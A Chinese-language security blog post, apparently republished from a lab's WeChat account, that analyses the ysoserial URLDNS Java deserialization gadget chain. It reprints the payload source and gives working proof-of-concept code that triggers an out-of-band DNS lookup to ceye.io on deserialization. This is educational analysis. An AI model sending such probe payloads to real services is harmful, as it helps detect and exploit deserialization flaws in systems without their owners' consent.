『代码审计』ysoserial URLDNS 反序列化分析(四)

admin 2022年6月24日04:37:14代码审计评论2 views6750字阅读22分30秒阅读模式

点击蓝字 关注我们





日期:2022-06-23
作者:ICDAT
介绍:这篇文章主要是对URLDNS反序列化链分析。

0x00 前言

我们之前分析了 ysoserial CommonsCollections 5ysoserial CommonsCollections 6 的利用链,如果对比其利用链条,会发现其 LazyMap.get()Runtime.exec() 走的是一条路。

而在 java 反序列的分析上,一上来啃 ysoserial CommonsCollections 5 是比较难的,但是刚开始分析的时候,网上对 CC5 的分享实在太多了,走着走着就入了坑。

虽然走了一条比较艰难的路,但是路越难走,坚持下来,获取的就更多,基于 CommonsCollections 5 的分析,我们可以更方便的来看 URLDNS

分析环境:jdk 1.8.0

0x01 Ysoserial payload

上来先看一下 ysoserialpayload

public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht; }
public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); }

static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException { return null; }
protected synchronized InetAddress getHostAddress(URL u) { return null; } }}

这是我第一次来看 ysoserial 里的 payload ,之前都是自己我们来写的序列化和反序列化方法。

大致看一下结构,getObject 方法是来构造利用链的,main 方法是序列化 args 后,反序列执行的。SilentURLStreamHandler 方法继承了 URLStreamHandler 方法,并重写了openConnection 方法和 getHostAddress 方法,并且返回为空。

看一下详细的利用链:  

 Gadget Chain:      HashMap.putVal()       HashMap.hash()        URL.hashCode()         URLStreamHandler.hachCode()         URLStreamHandler.getHostAddress()            InetAddress.getByName()            InetAddress.getAllByName()

我们看到了熟悉的 HashMap ,在之前对 CommonsCollections 6 利用链分析的时候,它是通过下面的方式来执行代码的。   

 Gadget chain:        ObjectInputStream.readObject()            HashMap.readObject()                HashMap.hash()                    TiedMapEntry.hashcode()                        LazyMap.get()

老规矩,从后往前分析。从 java.net.IpnetAddress 类开始分析。

0x02 InetAddress

java.net.InetAddress 类实现了 Serializable 接口。

在其中查找 getAllByName 方法,查看其逻辑,大致描述一下就是通过对传入的 host 进行判断,如果是一个域名,那么调用 getAllByName0 方法,获取其主机的 ip ,简单来说就是一个 DNS 查询的过程。

getByName() 调用了 getAllByName() 方法。

『代码审计』ysoserial URLDNS 反序列化分析(四)

URLDNS 的利用链实现的就是传入 url ,进行一次 DNS 查询。

我们尝试来进行一次 DNS 查询,我这里使用的 ceye

public class dnsQuery {    public static void main(String[] args) throws Exception {        InetAddress byName = InetAddress.getByName("xxx.ceye.io");        System.out.println(byName.getHostAddress());    }}

『代码审计』ysoserial URLDNS 反序列化分析(四)

0x03 URLStreamHandler

java.net.URLStreamHandler 是一个抽象类。

熟悉序列化的这里应该存在一个疑问, URLStreamHandler 是一个抽象类,怎么被序列化?

我们先不管,继续分析,其 hashCode() 方法中调用了 getHostAddress() 方法。

『代码审计』ysoserial URLDNS 反序列化分析(四)

『代码审计』ysoserial URLDNS 反序列化分析(四)

getHostAddress 方法,对传入的 url ,获取其 hostIP 地址。

『代码审计』ysoserial URLDNS 反序列化分析(四)

调用 hachCode 方法,需要传入一个 URL 对象。

那么相关的链:

hashcode->getHostAddress->InetAddress.getByName->InetAddress.getByName0

这里我们反过来看 ysoserialpayload ,其重写了 URLStreamHandler.getHostAddress ,并且返回为空。那么就无法进行 DNS 查询了。至于为什么这么做,我们需要继续分析。

0x04 URL

查看 java.net.URL ,实现了 Serializable 接口。其中 URLStreamHandlertransient 关键字修饰。

『代码审计』ysoserial URLDNS 反序列化分析(四)

了解一下 transient 关键字:

transient只能用来修饰成员变量(field),被transient修饰的成员变量不参与序列化过程。

在序列化的过程中,可以允许被序列对象中的某个成员变量不参与序列化,即该对象完成序列化之后,被transient修饰的成员变量会在字节序列中消失。

那么handler在序列化之后的值应该为null。那应该无法继续反序列化了呀?这个问题我们在全部分析完后再去分析。

查看其 hashCode 方法,当 handler-1 的时候,会调用 URLStreamHandler.hashCode 方法。

『代码审计』ysoserial URLDNS 反序列化分析(四)

查看URL的构造方法,其存在三种构造方法,但是本质上都是通过public URL(URL context, String spec, URLStreamHandler handler)来构造的。

public URL(String spec) throws MalformedURLException {        this(null, spec);}
public URL(URL context, String spec) throws MalformedURLException { this(context, spec, null);}
public URL(URL context, String spec, URLStreamHandler handler) throws MalformedURLException{ ...}

在构造方法中没有发现修改 hashcode 的代码,设置了为了初始值,默认为 -1

『代码审计』ysoserial URLDNS 反序列化分析(四)

即下列代码就可以触发一次 DNS 查询。

public class URLhashcode{

public static void main(String[] args) throws Exception { URL url = new URL("http://xxx.ceye.io"); url.hashCode(); }}
『代码审计』ysoserial URLDNS 反序列化分析(四)

但是这个代码,不能来序列化,因为我们没有在 URL.readObject() 方法中找到调用 URL.hashCode() 的方法。

但是对比 CommonsCollections 6 利用链,我们可以很轻易的类比,从 TiedMapEntry.hashcode()HashMap.hash() ,那么我们也可以利用 HashMap.hash()

0x05 HashMap

java.util.HashMap 实现了 serializable 接口。

hash() 方法,调用了 hashCode() 方法,我们只需要 HashMap 中添加URL 对象就可以。

『代码审计』ysoserial URLDNS 反序列化分析(四)

而且 HashMap.readObjct 方法,也调用了 HashMap.hash() 方法。

『代码审计』ysoserial URLDNS 反序列化分析(四)

基于此,我们可以尝试这么写代码。

import java.io.*;import java.net.URL;import java.util.HashMap;
public class URLSerialize { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://******.ceye.io"); hashMap.put(url,1);
serialize(hashMap); deserialize();

} public static void serialize(Object obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (IOException e) { e.printStackTrace(); } } public static void deserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); }catch (Exception e){ e.printStackTrace(); } }}

直接运行,成功收到 DNS 记录。

但是根据之前对 CommonsCollections 6 的利用链分析, HashMap.put() 方法也会调用 HashMap.hash() 方法,从而直接 DNS 查询。

所以为了保证在反序列化过程中触发 DNS 查询,我们需要保证 HashMap.put() 方法时,不触发 DNS 查询,那么我们可以设置在 put 之前 hashcode 的值不为-1put 之后 hashcode 的值为 -1 来实现。

我们可以通过反射来修改 URL 类中 private 修改的变量。那么代码如下:

import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;
public class URLSerialize { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://blwak0.ceye.io");
Class aClass = Class.forName("java.net.URL"); Field hashCode = aClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,123);
hashMap.put(url,1);
hashCode.set(url,-1);
serialize(hashMap); deserialize();

} public static void serialize(Object obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (IOException e) { e.printStackTrace(); } } public static void deserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); }catch (Exception e){ e.printStackTrace(); } }}

可以正常执行 DNS 请求......

分析到这里,我们再回头看 ysoserial payload ,就会发现,其通过继承 URLStreamHandler 类,并重写 getHostAddress 方法,巧妙的避免了 hashMap.put() 方法执行时的一次 DNS 请求。

至于 openConnection 方法,是因为 URLStreamHandler 作为抽象类,在继承的时候,需要重写其抽象方法。

『代码审计』ysoserial URLDNS 反序列化分析(四)

0x06 handler

那么我们来看一下 handler 的问题。

因为被 transient 关键字修饰,所以 handler 不被序列化,那么反序列化后的 handler 应该为 null

但是在反序列化 URL 时, URLreadObject 方法中设置了 template 属性。

『代码审计』ysoserial URLDNS 反序列化分析(四)

然后 URL 类还存在一个 readResolve 方法。该方法多用于一个类反序列化生成的对象和原类对象不同,从而使用该方法,直接返回 Person 的单例对象。

无论 Serializable 接口,或是 Externalizable 接口,当从 I/O 流中读取对象时, readResolve() 方法都会被调用到。实际上就是用 readResolve() 中返回的对象直接替换在反序列化过程中创建的对象,而被创建的对象则会被垃圾回收掉。

通俗一点说就是,通过 readResolve() 直接返回了一个类对象。

那么我们看 URL.readResolve 方法。通过 tempState.getProtocol 获取了 handler

『代码审计』ysoserial URLDNS 反序列化分析(四)

setDeserializedFields 方法里设置了 handler 的值。

『代码审计』ysoserial URLDNS 反序列化分析(四)

那么其实在反序列化后 handler 的值不为 null

0x07 结语

分析 URLDNS 的时候,发现基于 jdk1.8 的分析还是比较少,对 handler 的解析,有些文章没有提及到。总的来说,一步步分析下来,感觉利用链比较简单,但是对 readResolve() 的学习还是很 nice 的。

Reference

https://blog.xungong68.com/147.html

https://ego00.blog.csdn.net/article/details/119678492


往期回顾

代码审计丨ysoserial CommonsCollections 5 反序列化分析(一) 

代码审计丨ysoserial CommonsCollections 5 反序列化分析(二) 

代码审计丨ysoserial CommonsCollections 6 反序列化分析(三)


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『代码审计』ysoserial URLDNS 反序列化分析(四)

宸极实验室

Cyber Security Lab

『代码审计』ysoserial URLDNS 反序列化分析(四)

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『代码审计』ysoserial URLDNS 反序列化分析(四)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月24日04:37:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  『代码审计』ysoserial URLDNS 反序列化分析(四) http://cn-sec.com/archives/1138290.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: